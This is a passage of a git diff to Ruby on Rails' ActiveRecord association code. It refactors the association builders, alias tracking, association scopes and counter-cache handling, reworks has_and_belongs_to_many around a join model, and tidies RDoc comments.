@@ -627,7 +647,7 @@ module ActiveRecord
     # add a <tt>Commenter</tt> in the example above, there would be no way to tell how to set up the
     # intermediate <tt>Post</tt> and <tt>Comment</tt> objects.
     #
-    # == Polymorphic Associations
+    # == Polymorphic \Associations
     #
     # Polymorphic associations on models are not restricted on what types of models they
     # can be associated with. Rather, they specify an interface that a +has_many+ association
@@ -654,11 +674,14 @@ module ActiveRecord
     # and member posts that use the posts table for STI. In this case, there must be a +type+
     # column in the posts table.
     #
+    # Note: The <tt>attachable_type=</tt> method is being called when assigning an +attachable+.
+    # The +class_name+ of the +attachable+ is passed as a String.
+    #
     #   class Asset < ActiveRecord::Base
     #     belongs_to :attachable, polymorphic: true
     #
-    #     def attachable_type=(sType)
-    #        super(sType.to_s.classify.constantize.base_class.to_s)
+    #     def attachable_type=(class_name)
+    #        super(class_name.constantize.base_class.to_s)
     #     end
     #   end
     #
@@ -750,6 +773,12 @@ module ActiveRecord
     # like this can have unintended consequences.
     # In the above example posts with no approved comments are not returned at all, because
     # the conditions apply to the SQL statement as a whole and not just to the association.
+    #
+    # If you want to load all posts (including posts with no approved comments) then write
+    # your own LEFT OUTER JOIN query using ON
+    #
+    #   Post.joins('LEFT OUTER JOIN comments ON comments.post_id = posts.id AND comments.approved = true')
+    #
     # You must disambiguate column references for this fallback to happen, for example
     # <tt>order: "author.name DESC"</tt> will work but <tt>order: "name DESC"</tt> will not.
     #
@@ -789,7 +818,7 @@ module ActiveRecord
     # For example if all the addressables are either of class Person or Company then a total
     # of 3 queries will be executed. The list of addressable types to load is determined on
     # the back of the addresses loaded. This is not supported if Active Record has to fallback
-    # to the previous implementation of eager loading and will raise ActiveRecord::EagerLoadPolymorphicError.
+    # to the previous implementation of eager loading and will raise <tt>ActiveRecord::EagerLoadPolymorphicError</tt>.
     # The reason is that the parent model's type is a column value so its corresponding table
     # name cannot be put in the +FROM+/+JOIN+ clauses of that query.
     #
@@ -1024,7 +1053,7 @@ module ActiveRecord
       #   An empty array is returned if none are found.
       # [collection<<(object, ...)]
       #   Adds one or more objects to the collection by setting their foreign keys to the collection's primary key.
-      #   Note that this operation instantly fires update sql without waiting for the save or update call on the
+      #   Note that this operation instantly fires update SQL without waiting for the save or update call on the
       #   parent object, unless the parent object is a new record.
       # [collection.delete(object, ...)]
       #   Removes one or more objects from the collection by setting their foreign keys to +NULL+.
@@ -1060,10 +1089,10 @@ module ActiveRecord
       # [collection.size]
       #   Returns the number of associated objects.
       # [collection.find(...)]
-      #   Finds an associated object according to the same rules as ActiveRecord::Base.find.
+      #   Finds an associated object according to the same rules as <tt>ActiveRecord::Base.find</tt>.
       # [collection.exists?(...)]
       #   Checks whether an associated object with the given conditions exists.
-      #   Uses the same rules as ActiveRecord::Base.exists?.
+      #   Uses the same rules as <tt>ActiveRecord::Base.exists?</tt>.
       # [collection.build(attributes = {}, ...)]
       #   Returns one or more new objects of the collection type that have been instantiated
       #   with +attributes+ and linked to this object through a foreign key, but have not yet
@@ -1082,7 +1111,7 @@ module ActiveRecord
       #
       # === Example
       #
-      # Example: A Firm class declares <tt>has_many :clients</tt>, which will add:
+      # A <tt>Firm</tt> class declares <tt>has_many :clients</tt>, which will add:
       # * <tt>Firm#clients</tt> (similar to <tt>Client.where(firm_id: id)</tt>)
       # * <tt>Firm#clients<<</tt>
       # * <tt>Firm#clients.delete</tt>
@@ -1116,8 +1145,8 @@ module ActiveRecord
       #   Controls what happens to the associated objects when
       #   their owner is destroyed. Note that these are implemented as
       #   callbacks, and Rails executes callbacks in order. Therefore, other
-      #   similar callbacks may affect the :dependent behavior, and the
-      #   :dependent behavior may affect other callbacks.
+      #   similar callbacks may affect the <tt>:dependent</tt> behavior, and the
+      #   <tt>:dependent</tt> behavior may affect other callbacks.
       #
       #   * <tt>:destroy</tt> causes all the associated objects to also be destroyed.
       #   * <tt>:delete_all</tt> causes all the associated objects to be deleted directly from the database (so callbacks will not be executed).
@@ -1163,8 +1192,8 @@ module ActiveRecord
       #   If true, always save the associated objects or destroy them if marked for destruction,
       #   when saving the parent object. If false, never save or destroy the associated objects.
       #   By default, only save associated objects that are new records. This option is implemented as a
-      #   before_save callback. Because callbacks are run in the order they are defined, associated objects
-      #   may need to be explicitly saved in any user-defined before_save callbacks.
+      #   +before_save+ callback. Because callbacks are run in the order they are defined, associated objects
+      #   may need to be explicitly saved in any user-defined +before_save+ callbacks.
       #
       #   Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
       # [:inverse_of]
@@ -1183,13 +1212,14 @@ module ActiveRecord
       #   has_many :reports, -> { readonly }
       #   has_many :subscribers, through: :subscriptions, source: :user
       def has_many(name, scope = nil, options = {}, &extension)
-        Builder::HasMany.build(self, name, scope, options, &extension)
+        reflection = Builder::HasMany.build(self, name, scope, options, &extension)
+        Reflection.add_reflection self, name, reflection
       end
 
       # Specifies a one-to-one association with another class. This method should only be used
       # if the other class contains the foreign key. If the current class contains the foreign key,
       # then you should use +belongs_to+ instead. See also ActiveRecord::Associations::ClassMethods's overview
-      # on when to use has_one and when to use belongs_to.
+      # on when to use +has_one+ and when to use +belongs_to+.
       #
       # The following methods for retrieval and query of a single associated object will be added:
       #
@@ -1197,7 +1227,8 @@ module ActiveRecord
       #   Returns the associated object. +nil+ is returned if none is found.
       # [association=(associate)]
       #   Assigns the associate object, extracts the primary key, sets it as the foreign key,
-      #   and saves the associate object.
+      #   and saves the associate object. To avoid database inconsistencies, permanently deletes an existing
+      #   associated object when assigning a new one, even if the new one isn't saved to database.
       # [build_association(attributes = {})]
       #   Returns a new object of the associated type that has been instantiated
       #   with +attributes+ and linked to this object through a foreign key, but has not
@@ -1286,7 +1317,8 @@ module ActiveRecord
       #   has_one :club, through: :membership
       #   has_one :primary_address, -> { where primary: true }, through: :addressables, source: :addressable
       def has_one(name, scope = nil, options = {})
-        Builder::HasOne.build(self, name, scope, options)
+        reflection = Builder::HasOne.build(self, name, scope, options)
+        Reflection.add_reflection self, name, reflection
       end
 
       # Specifies a one-to-one association with another class. This method should only be used
@@ -1357,7 +1389,7 @@ module ActiveRecord
       #   class is created and decremented when it's destroyed. This requires that a column
       #   named <tt>#{table_name}_count</tt> (such as +comments_count+ for a belonging Comment class)
       #   is used on the associate class (such as a Post class) - that is the migration for
-      #   <tt>#{table_name}_count</tt> is created on the associate class (such that Post.comments_count will
+      #   <tt>#{table_name}_count</tt> is created on the associate class (such that <tt>Post.comments_count</tt> will
       #   return the count cached, see note below). You can also specify a custom counter
       #   cache column by providing a column name instead of a +true+/+false+ value to this
       #   option (e.g., <tt>counter_cache: :my_custom_counter</tt>.)
@@ -1398,7 +1430,8 @@ module ActiveRecord
       #   belongs_to :company, touch: true
       #   belongs_to :company, touch: :employees_last_updated_at
       def belongs_to(name, scope = nil, options = {})
-        Builder::BelongsTo.build(self, name, scope, options)
+        reflection = Builder::BelongsTo.build(self, name, scope, options)
+        Reflection.add_reflection self, name, reflection
       end
 
       # Specifies a many-to-many relationship with another class. This associates two classes via an
@@ -1439,7 +1472,7 @@ module ActiveRecord
       # [collection<<(object, ...)]
       #   Adds one or more objects to the collection by creating associations in the join table
       #   (<tt>collection.push</tt> and <tt>collection.concat</tt> are aliases to this method).
-      #   Note that this operation instantly fires update sql without waiting for the save or update call on the
+      #   Note that this operation instantly fires update SQL without waiting for the save or update call on the
       #   parent object, unless the parent object is a new record.
       # [collection.delete(object, ...)]
       #   Removes one or more objects from the collection by removing their associations from the join table.
@@ -1462,10 +1495,10 @@ module ActiveRecord
       # [collection.find(id)]
       #   Finds an associated object responding to the +id+ and that
       #   meets the condition that it has to be associated with this object.
-      #   Uses the same rules as ActiveRecord::Base.find.
+      #   Uses the same rules as <tt>ActiveRecord::Base.find</tt>.
       # [collection.exists?(...)]
       #   Checks whether an associated object with the given conditions exists.
-      #   Uses the same rules as ActiveRecord::Base.exists?.
+      #   Uses the same rules as <tt>ActiveRecord::Base.exists?</tt>.
       # [collection.build(attributes = {})]
       #   Returns a new object of the collection type that has been instantiated
       #   with +attributes+ and linked to this object through the join table, but has not yet been saved.
@@ -1535,7 +1568,48 @@ module ActiveRecord
       #   has_and_belongs_to_many :categories, join_table: "prods_cats"
       #   has_and_belongs_to_many :categories, -> { readonly }
       def has_and_belongs_to_many(name, scope = nil, options = {}, &extension)
-        Builder::HasAndBelongsToMany.build(self, name, scope, options, &extension)
+        if scope.is_a?(Hash)
+          options = scope
+          scope   = nil
+        end
+
+        habtm_reflection = ActiveRecord::Reflection::AssociationReflection.new(:has_and_belongs_to_many, name, scope, options, self)
+
+        builder = Builder::HasAndBelongsToMany.new name, self, options
+
+        join_model = builder.through_model
+
+        # FIXME: we should move this to the internal constants. Also people
+        # should never directly access this constant so I'm not happy about
+        # setting it.
+        const_set join_model.name, join_model
+
+        middle_reflection = builder.middle_reflection join_model
+
+        Builder::HasMany.define_callbacks self, middle_reflection
+        Reflection.add_reflection self, middle_reflection.name, middle_reflection
+        middle_reflection.parent_reflection = [name, habtm_reflection]
+
+        include Module.new {
+          class_eval <<-RUBY, __FILE__, __LINE__ + 1
+          def destroy_associations
+            association(:#{middle_reflection.name}).delete_all(:delete_all)
+            association(:#{name}).reset
+            super
+          end
+          RUBY
+        }
+
+        hm_options = {}
+        hm_options[:through] = middle_reflection.name
+        hm_options[:source] = join_model.right_reflection.name
+
+        [:before_add, :after_add, :before_remove, :after_remove, :autosave, :validate, :join_table].each do |k|
+          hm_options[k] = options[k] if options.key? k
+        end
+
+        has_many name, scope, hm_options, &extension
+        self._reflections[name].parent_reflection = [name, habtm_reflection]
       end
     end
   end
diff --git a/activerecord/lib/active_record/associations/alias_tracker.rb b/activerecord/lib/active_record/associations/alias_tracker.rb
index 0c23029..85109ae 100644
--- a/activerecord/lib/active_record/associations/alias_tracker.rb
+++ b/activerecord/lib/active_record/associations/alias_tracker.rb
@@ -5,16 +5,48 @@ module ActiveRecord
     # Keeps track of table aliases for ActiveRecord::Associations::ClassMethods::JoinDependency and
     # ActiveRecord::Associations::ThroughAssociationScope
     class AliasTracker # :nodoc:
-      attr_reader :aliases, :table_joins, :connection
+      attr_reader :aliases, :connection
+
+      def self.empty(connection)
+        new connection, Hash.new(0)
+      end
+
+      def self.create(connection, table_joins)
+        if table_joins.empty?
+          empty connection
+        else
+          aliases = Hash.new { |h,k|
+            h[k] = initial_count_for(connection, k, table_joins)
+          }
+          new connection, aliases
+        end
+      end
+
+      def self.initial_count_for(connection, name, table_joins)
+        # quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase
+        quoted_name = connection.quote_table_name(name).downcase
+
+        counts = table_joins.map do |join|
+          if join.is_a?(Arel::Nodes::StringJoin)
+            # Table names + table aliases
+            join.left.downcase.scan(
+              /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/
+            ).size
+          else
+            join.left.table_name == name ? 1 : 0
+          end
+        end
+
+        counts.sum
+      end
 
       # table_joins is an array of arel joins which might conflict with the aliases we assign here
-      def initialize(connection = Base.connection, table_joins = [])
-        @aliases     = Hash.new { |h,k| h[k] = initial_count_for(k) }
-        @table_joins = table_joins
-        @connection  = connection
+      def initialize(connection, aliases)
+        @aliases    = aliases
+        @connection = connection
       end
 
-      def aliased_table_for(table_name, aliased_name = nil)
+      def aliased_table_for(table_name, aliased_name)
         table_alias = aliased_name_for(table_name, aliased_name)
 
         if table_alias == table_name
@@ -24,9 +56,7 @@ module ActiveRecord
         end
       end
 
-      def aliased_name_for(table_name, aliased_name = nil)
-        aliased_name ||= table_name
-
+      def aliased_name_for(table_name, aliased_name)
         if aliases[table_name].zero?
           # If it's zero, we can have our table_name
           aliases[table_name] = 1
@@ -48,26 +78,6 @@ module ActiveRecord
 
       private
 
-        def initial_count_for(name)
-          return 0 if Arel::Table === table_joins
-
-          # quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase
-          quoted_name = connection.quote_table_name(name).downcase
-
-          counts = table_joins.map do |join|
-            if join.is_a?(Arel::Nodes::StringJoin)
-              # Table names + table aliases
-              join.left.downcase.scan(
-                /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/
-              ).size
-            else
-              join.left.table_name == name ? 1 : 0
-            end
-          end
-
-          counts.sum
-        end
-
         def truncate(name)
           name.slice(0, connection.table_alias_length - 2)
         end
diff --git a/activerecord/lib/active_record/associations/association.rb b/activerecord/lib/active_record/associations/association.rb
index 5bc8673..4a04303 100644
--- a/activerecord/lib/active_record/associations/association.rb
+++ b/activerecord/lib/active_record/associations/association.rb
@@ -13,7 +13,6 @@ module ActiveRecord
     #       BelongsToAssociation
     #         BelongsToPolymorphicAssociation
     #     CollectionAssociation
-    #       HasAndBelongsToManyAssociation
     #       HasManyAssociation
     #         HasManyThroughAssociation + ThroughAssociation
     class Association #:nodoc:
@@ -70,7 +69,7 @@ module ActiveRecord
       # The target is stale if the target no longer points to the record(s) that the
       # relevant foreign_key(s) refers to. If stale, the association accessor method
       # on the owner will reload the target. It's up to subclasses to implement the
-      # state_state method if relevant.
+      # stale_state method if relevant.
       #
       # Note that if the target has not been loaded, it is not considered stale.
       def stale_target?
@@ -87,11 +86,6 @@ module ActiveRecord
         target_scope.merge(association_scope)
       end
 
-      def scoped
-        ActiveSupport::Deprecation.warn "#scoped is deprecated. use #scope instead."
-        scope
-      end
-
       # The scope for this association.
       #
       # Note that the association_scope is merged into the target_scope only when the
@@ -100,7 +94,7 @@ module ActiveRecord
       # actually gets built.
       def association_scope
         if klass
-          @association_scope ||= AssociationScope.new(self).scope
+          @association_scope ||= AssociationScope.scope(self, klass.connection)
         end
       end
 
@@ -110,11 +104,12 @@ module ActiveRecord
 
       # Set the inverse association, if possible
       def set_inverse_instance(record)
-        if record && invertible_for?(record)
+        if invertible_for?(record)
           inverse = record.association(inverse_reflection_for(record).name)
           inverse.target = owner
           inverse.inversed = true
         end
+        record
       end
 
       # Returns the class of the target. belongs_to polymorphic overrides this to look at the
@@ -126,11 +121,7 @@ module ActiveRecord
       # Can be overridden (i.e. in ThroughAssociation) to merge in other scopes (i.e. the
       # through association's scope)
       def target_scope
-        all = klass.all
-        scope = AssociationRelation.new(klass, klass.arel_table, self)
-        scope.merge! all
-        scope.default_scoped = all.default_scoped?
-        scope
+        AssociationRelation.create(klass, klass.arel_table, self).merge!(klass.all)
       end
 
       # Loads the \target if needed and returns it.
@@ -169,7 +160,7 @@ module ActiveRecord
       def marshal_load(data)
         reflection_name, ivars = data
         ivars.each { |name, val| instance_variable_set(name, val) }
-        @reflection = @owner.class.reflect_on_association(reflection_name)
+        @reflection = @owner.class._reflect_on_association(reflection_name)
       end
 
       def initialize_attributes(record) #:nodoc:
@@ -204,13 +195,14 @@ module ActiveRecord
           creation_attributes.each { |key, value| record[key] = value }
         end
 
-        # Should be true if there is a foreign key present on the owner which
+        # Returns true if there is a foreign key present on the owner which
         # references the target. This is used to determine whether we can load
         # the target if the owner is currently a new record (and therefore
-        # without a key).
+        # without a key). If the owner is a new record then foreign_key must
+        # be present in order to load target.
         #
         # Currently implemented by belongs_to (vanilla and polymorphic) and
-        # has_one/has_many :through associations which go through a belongs_to
+        # has_one/has_many :through associations which go through a belongs_to.
         def foreign_key_present?
           false
         end
@@ -235,7 +227,12 @@ module ActiveRecord
         # Returns true if inverse association on the given record needs to be set.
         # This method is redefined by subclasses.
         def invertible_for?(record)
-          inverse_reflection_for(record)
+          foreign_key_for?(record) && inverse_reflection_for(record)
+        end
+
+        # Returns true if record contains the foreign_key
+        def foreign_key_for?(record)
+          record.has_attribute?(reflection.foreign_key)
         end
 
         # This should be implemented to return the values of the relevant key(s) on the owner,
diff --git a/activerecord/lib/active_record/associations/association_scope.rb b/activerecord/lib/active_record/associations/association_scope.rb
index aa5551f..27fd9e3 100644
--- a/activerecord/lib/active_record/associations/association_scope.rb
+++ b/activerecord/lib/active_record/associations/association_scope.rb
@@ -1,64 +1,77 @@
 module ActiveRecord
   module Associations
     class AssociationScope #:nodoc:
-      include JoinHelper
+      INSTANCE = new
 
-      attr_reader :association, :alias_tracker
+      def self.scope(association, connection)
+        INSTANCE.scope association, connection
+      end
 
-      delegate :klass, :owner, :reflection, :interpolate, :to => :association
-      delegate :chain, :scope_chain, :options, :source_options, :active_record, :to => :reflection
+      def scope(association, connection)
+        klass         = association.klass
+        reflection    = association.reflection
+        scope         = klass.unscoped
+        owner         = association.owner
+        alias_tracker = AliasTracker.empty connection
 
-      def initialize(association)
-        @association   = association
-        @alias_tracker = AliasTracker.new klass.connection
+        scope.extending! Array(reflection.options[:extend])
+        add_constraints(scope, owner, klass, reflection, alias_tracker)
       end
 
-      def scope
-        scope = klass.unscoped
-        scope.extending! Array(options[:extend])
-        add_constraints(scope)
+      def join_type
+        Arel::Nodes::InnerJoin
       end
 
       private
 
-      def column_for(table_name, column_name)
+      def construct_tables(chain, klass, refl, alias_tracker)
+        chain.map do |reflection|
+          alias_tracker.aliased_table_for(
+            table_name_for(reflection, klass, refl),
+            table_alias_for(reflection, refl, reflection != refl)
+          )
+        end
+      end
+
+      def table_alias_for(reflection, refl, join = false)
+        name = "#{reflection.plural_name}_#{alias_suffix(refl)}"
+        name << "_join" if join
+        name
+      end
+
+      def join(table, constraint)
+        table.create_join(table, table.create_on(constraint), join_type)
+      end
+
+      def column_for(table_name, column_name, alias_tracker)
         columns = alias_tracker.connection.schema_cache.columns_hash(table_name)
         columns[column_name]
       end
 
-      def bind_value(scope, column, value)
+      def bind_value(scope, column, value, alias_tracker)
         substitute = alias_tracker.connection.substitute_at(
           column, scope.bind_values.length)
         scope.bind_values += [[column, value]]
         substitute
       end
 
-      def bind(scope, table_name, column_name, value)
-        column   = column_for table_name, column_name
-        bind_value scope, column, value
+      def bind(scope, table_name, column_name, value, tracker)
+        column   = column_for table_name, column_name, tracker
+        bind_value scope, column, value, tracker
       end
 
-      def add_constraints(scope)
-        tables = construct_tables
+      def add_constraints(scope, owner, assoc_klass, refl, tracker)
+        chain = refl.chain
+        scope_chain = refl.scope_chain
+
+        tables = construct_tables(chain, assoc_klass, refl, tracker)
 
         chain.each_with_index do |reflection, i|
           table, foreign_table = tables.shift, tables.first
 
-          if reflection.source_macro == :has_and_belongs_to_many
-            join_table = tables.shift
-
-            scope = scope.joins(join(
-              join_table,
-              table[reflection.association_primary_key].
-                eq(join_table[reflection.association_foreign_key])
-            ))
-
-            table, foreign_table = join_table, tables.first
-          end
-
           if reflection.source_macro == :belongs_to
             if reflection.options[:polymorphic]
-              key = reflection.association_primary_key(self.klass)
+              key = reflection.association_primary_key(assoc_klass)
             else
               key = reflection.association_primary_key
             end
@@ -70,36 +83,42 @@ module ActiveRecord
           end
 
           if reflection == chain.last
-            bind_val = bind scope, table.table_name, key.to_s, owner[foreign_key]
+            bind_val = bind scope, table.table_name, key.to_s, owner[foreign_key], tracker
             scope    = scope.where(table[key].eq(bind_val))
 
             if reflection.type
               value    = owner.class.base_class.name
-              bind_val = bind scope, table.table_name, reflection.type.to_s, value
+              bind_val = bind scope, table.table_name, reflection.type.to_s, value, tracker
               scope    = scope.where(table[reflection.type].eq(bind_val))
             end
           else
             constraint = table[key].eq(foreign_table[foreign_key])
 
             if reflection.type
-              type = chain[i + 1].klass.base_class.name
-              constraint = constraint.and(table[reflection.type].eq(type))
+              value    = chain[i + 1].klass.base_class.name
+              bind_val = bind scope, table.table_name, reflection.type.to_s, value, tracker
+              scope    = scope.where(table[reflection.type].eq(bind_val))
             end
 
             scope = scope.joins(join(foreign_table, constraint))
           end
 
+          is_first_chain = i == 0
+          klass = is_first_chain ? assoc_klass : reflection.klass
+
           # Exclude the scope of the association itself, because that
           # was already merged in the #scope method.
           scope_chain[i].each do |scope_chain_item|
-            klass = i == 0 ? self.klass : reflection.klass
-            item  = eval_scope(klass, scope_chain_item)
+            item  = eval_scope(klass, scope_chain_item, owner)
+
+            if scope_chain_item == refl.scope
+              scope.merge! item.except(:where, :includes, :bind)
+            end
 
-            if scope_chain_item == self.reflection.scope
-              scope.merge! item.except(:where, :includes)
+            if is_first_chain
+              scope.includes! item.includes_values
             end
 
-            scope.includes! item.includes_values
             scope.where_values += item.where_values
             scope.order_values |= item.order_values
           end
@@ -108,12 +127,12 @@ module ActiveRecord
         scope
       end
 
-      def alias_suffix
-        reflection.name
+      def alias_suffix(refl)
+        refl.name
       end
 
-      def table_name_for(reflection)
-        if reflection == self.reflection
+      def table_name_for(reflection, klass, refl)
+        if reflection == refl
           # If this is a polymorphic belongs_to, we want to get the klass from the
           # association because it depends on the polymorphic_type attribute of
           # the owner
@@ -123,7 +142,7 @@ module ActiveRecord
         end
       end
 
-      def eval_scope(klass, scope)
+      def eval_scope(klass, scope, owner)
         if scope.is_a?(Relation)
           scope
         else
diff --git a/activerecord/lib/active_record/associations/belongs_to_association.rb b/activerecord/lib/active_record/associations/belongs_to_association.rb
index 8eec4f5..8272a55 100644
--- a/activerecord/lib/active_record/associations/belongs_to_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_association.rb
@@ -8,13 +8,16 @@ module ActiveRecord
       end
 
       def replace(record)
-        raise_on_type_mismatch!(record) if record
-
-        update_counters(record)
-        replace_keys(record)
-        set_inverse_instance(record)
-
-        @updated = true if record
+        if record
+          raise_on_type_mismatch!(record)
+          update_counters(record)
+          replace_keys(record)
+          set_inverse_instance(record)
+          @updated = true
+        else
+          decrement_counters
+          remove_keys
+        end
 
         self.target = record
       end
@@ -34,35 +37,41 @@ module ActiveRecord
           !loaded? && foreign_key_present? && klass
         end
 
-        def update_counters(record)
+        def with_cache_name
           counter_cache_name = reflection.counter_cache_column
+          return unless counter_cache_name && owner.persisted?
+          yield counter_cache_name
+        end
+
+        def update_counters(record)
+          with_cache_name do |name|
+            return unless different_target? record
+            record.class.increment_counter(name, record.id)
+            decrement_counter name
+          end
+        end
 
-          if counter_cache_name && owner.persisted? && different_target?(record)
-            if record
-              record.class.increment_counter(counter_cache_name, record.id)
-            end
+        def decrement_counters
+          with_cache_name { |name| decrement_counter name }
+        end
 
-            if foreign_key_present?
-              klass.decrement_counter(counter_cache_name, target_id)
-            end
+        def decrement_counter counter_cache_name
+          if foreign_key_present?
+            klass.decrement_counter(counter_cache_name, target_id)
           end
         end
 
         # Checks whether record is different to the current target, without loading it
         def different_target?(record)
-          if record.nil? 
-            owner[reflection.foreign_key] 
-          else
-            record.id != owner[reflection.foreign_key]
-          end
+          record.id != owner[reflection.foreign_key]
         end
 
         def replace_keys(record)
-          if record
-            owner[reflection.foreign_key] = record[reflection.association_primary_key(record.class)]
-          else
-            owner[reflection.foreign_key] = nil
-          end
+          owner[reflection.foreign_key] = record[reflection.association_primary_key(record.class)]
+        end
+
+        def remove_keys
+          owner[reflection.foreign_key] = nil
         end
 
         def foreign_key_present?
diff --git a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
index eae5eed..b710cf6 100644
--- a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
@@ -11,7 +11,12 @@ module ActiveRecord
 
         def replace_keys(record)
           super
-          owner[reflection.foreign_type] = record && record.class.base_class.name
+          owner[reflection.foreign_type] = record.class.base_class.name
+        end
+
+        def remove_keys
+          super
+          owner[reflection.foreign_type] = nil
         end
 
         def different_target?(record)
diff --git a/activerecord/lib/active_record/associations/builder/association.rb b/activerecord/lib/active_record/associations/builder/association.rb
index 5c37f42..f085fd1 100644
--- a/activerecord/lib/active_record/associations/builder/association.rb
+++ b/activerecord/lib/active_record/associations/builder/association.rb
@@ -1,50 +1,72 @@
+require 'active_support/core_ext/module/attribute_accessors'
+
+# This is the parent Association class which defines the variables
+# used by all associations.
+#
+# The hierarchy is defined as follows:
+#  Association
+#    - SingularAssociation
+#      - BelongsToAssociation
+#      - HasOneAssociation
+#    - CollectionAssociation
+#      - HasManyAssociation
+
 module ActiveRecord::Associations::Builder
   class Association #:nodoc:
     class << self
+      attr_accessor :extensions
+      # TODO: This class accessor is needed to make activerecord-deprecated_finders work.
+      # We can move it to a constant in 5.0.
       attr_accessor :valid_options
     end
+    self.extensions = []
+
+    self.valid_options = [:class_name, :class, :foreign_key, :validate]
 
-    self.valid_options = [:class_name, :foreign_key, :validate]
+    attr_reader :name, :scope, :options
 
-    attr_reader :model, :name, :scope, :options, :reflection
+    def self.build(model, name, scope, options, &block)
+      if model.dangerous_attribute_method?(name)
+        raise ArgumentError, "You tried to define an association named #{name} on the model #{model.name}, but " \
+                             "this will conflict with a method #{name} already defined by Active Record. " \
+                             "Please choose a different association name."
+      end
 
-    def self.build(*args, &block)
-      new(*args, &block).build
+      builder = create_builder model, name, scope, options, &block
+      reflection = builder.build(model)
+      define_accessors model, reflection
+      define_callbacks model, reflection
+      builder.define_extensions model
+      reflection
     end
 
-    def initialize(model, name, scope, options)
+    def self.create_builder(model, name, scope, options, &block)
       raise ArgumentError, "association names must be a Symbol" unless name.kind_of?(Symbol)
 
-      @model   = model
-      @name    = name
+      new(model, name, scope, options, &block)
+    end
 
+    def initialize(model, name, scope, options)
+      # TODO: Move this to create_builder as soon we drop support to activerecord-deprecated_finders.
       if scope.is_a?(Hash)
-        @scope   = nil
-        @options = scope
-      else
-        @scope   = scope
-        @options = options
+        options = scope
+        scope   = nil
       end
 
-      if @scope && @scope.arity == 0
-        prev_scope = @scope
-        @scope = proc { instance_exec(&prev_scope) }
-      end
-    end
+      # TODO: Remove this model argument as soon we drop support to activerecord-deprecated_finders.
+      @name    = name
+      @scope   = scope
+      @options = options
 
-    def mixin
-      @model.generated_feature_methods
-    end
+      validate_options
 
-    include Module.new { def build; end }
+      if scope && scope.arity == 0
+        @scope = proc { instance_exec(&scope) }
+      end
+    end
 
-    def build
-      validate_options
-      define_accessors
-      configure_dependency if options[:dependent]
-      @reflection = model.create_reflection(macro, name, scope, options, model)
-      super # provides an extension point
-      @reflection
+    def build(model)
+      ActiveRecord::Reflection.create(macro, name, scope, options, model)
     end
 
     def macro
@@ -52,19 +74,37 @@ module ActiveRecord::Associations::Builder
     end
 
     def valid_options
-      Association.valid_options
+      Association.valid_options + Association.extensions.flat_map(&:valid_options)
     end
 
     def validate_options
       options.assert_valid_keys(valid_options)
     end
 
-    def define_accessors
-      define_readers
-      define_writers
+    def define_extensions(model)
     end
 
-    def define_readers
+    def self.define_callbacks(model, reflection)
+      add_before_destroy_callbacks(model, reflection) if reflection.options[:dependent]
+      Association.extensions.each do |extension|
+        extension.build model, reflection
+      end
+    end
+
+    # Defines the setter and getter methods for the association
+    # class Post < ActiveRecord::Base
+    #   has_many :comments
+    # end
+    #
+    # Post.first.comments and Post.first.comments= methods are defined by this method...
+    def self.define_accessors(model, reflection)
+      mixin = model.generated_association_methods
+      name = reflection.name
+      define_readers(mixin, name)
+      define_writers(mixin, name)
+    end
+
+    def self.define_readers(mixin, name)
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
         def #{name}(*args)
           association(:#{name}).reader(*args)
@@ -72,7 +112,7 @@ module ActiveRecord::Associations::Builder
       CODE
     end
 
-    def define_writers
+    def self.define_writers(mixin, name)
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
         def #{name}=(value)
           association(:#{name}).writer(value)
@@ -80,29 +120,19 @@ module ActiveRecord::Associations::Builder
       CODE
     end
 
-    def configure_dependency
-      unless valid_dependent_options.include? options[:dependent]
-        raise ArgumentError, "The :dependent option must be one of #{valid_dependent_options}, but is :#{options[:dependent]}"
-      end
-
-      if options[:dependent] == :restrict
-        ActiveSupport::Deprecation.warn(
-          "The :restrict option is deprecated. Please use :restrict_with_exception instead, which " \
-          "provides the same functionality."
-        )
-      end
+    def self.valid_dependent_options
+      raise NotImplementedError
+    end
 
-      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
-        def #{macro}_dependent_for_#{name}
-          association(:#{name}).handle_dependency
-        end
-      CODE
+    private
 
-      model.before_destroy "#{macro}_dependent_for_#{name}"
-    end
+    def self.add_before_destroy_callbacks(model, reflection)
+      unless valid_dependent_options.include? reflection.options[:dependent]
+        raise ArgumentError, "The :dependent option must be one of #{valid_dependent_options}, but is :#{reflection.options[:dependent]}"
+      end
 
-    def valid_dependent_options
-      raise NotImplementedError
+      name = reflection.name
+      model.before_destroy lambda { |o| o.association(name).handle_dependency }
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/belongs_to.rb b/activerecord/lib/active_record/associations/builder/belongs_to.rb
index 19a7547..5ccaa55 100644
--- a/activerecord/lib/active_record/associations/builder/belongs_to.rb
+++ b/activerecord/lib/active_record/associations/builder/belongs_to.rb
@@ -5,96 +5,134 @@ module ActiveRecord::Associations::Builder
     end
 
     def valid_options
-      super + [:foreign_type, :polymorphic, :touch]
+      super + [:foreign_type, :polymorphic, :touch, :counter_cache]
     end
 
-    def constructable?
-      !options[:polymorphic]
+    def self.valid_dependent_options
+      [:destroy, :delete]
     end
 
-    def build
-      reflection = super
-      add_counter_cache_callbacks(reflection) if options[:counter_cache]
-      add_touch_callbacks(reflection)         if options[:touch]
-      reflection
+    def self.define_callbacks(model, reflection)
+      super
+      add_counter_cache_callbacks(model, reflection) if reflection.options[:counter_cache]
+      add_touch_callbacks(model, reflection)         if reflection.options[:touch]
     end
 
-    def add_counter_cache_callbacks(reflection)
-      cache_column = reflection.counter_cache_column
-      foreign_key = reflection.foreign_key
+    def self.define_accessors(mixin, reflection)
+      super
+      add_counter_cache_methods mixin
+    end
+
+    private
+
+    def self.add_counter_cache_methods(mixin)
+      return if mixin.method_defined? :belongs_to_counter_cache_after_create
 
-      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
